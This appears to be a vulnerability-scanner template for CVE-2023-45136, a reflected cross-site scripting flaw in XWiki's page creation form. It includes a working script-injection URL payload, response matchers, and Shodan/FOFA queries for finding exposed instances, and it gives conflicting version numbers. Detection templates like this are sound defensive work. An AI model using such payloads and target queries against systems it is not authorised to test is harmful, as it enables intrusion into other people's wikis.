XWiki < 14.10.14 - Cross-Site Scripting

id: CVE-2023-45136

info:
  name: XWiki < 14.10.14 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    XWiki Platform is a generic wiki platform offering runtime services for applications built on top of it. When document names are validated according to a name strategy (disabled by default), XWiki starting in version 12.0-rc-1 and prior to versions 12.10.12 and 15.5-rc-1 is vulnerable to a reflected cross-site scripting attack in the page creation form. This allows an attacker to execute arbitrary actions with the rights of the user opening the malicious link.
  impact: |
    Successful exploitation could lead to cross-site scripting attack.
  remediation: |
    This has been patched in XWiki 14.10.12 and 15.5-rc-1 by adding appropriate escaping.
  reference:
    - https://jira.xwiki.org/browse/XWIKI-20854
    - https://nvd.nist.gov/vuln/detail/CVE-2023-45136
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-45136
    cwe-id: CWE-79
    epss-score: 0.05166
    epss-percentile: 0.91364
    cpe: cpe:2.3:a:xwiki:xwiki:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    verified: true
    vendor: xwiki
    product: xwiki
    shodan-query: html:"data-xwiki-reference"
    fofa-query: body="data-xwiki-reference"
  tags: cve,cve2023,xwiki,xss,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/bin/create/Main/%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"
      - "{{BaseURL}}/xwiki/bin/create/Main/%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    stop-at-first-match: true
    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "<script>alert(document.domain)</script>", "data-xwiki-reference")'
          - 'contains(header, "text/html")'
          - 'status_code == 200'
        condition: and
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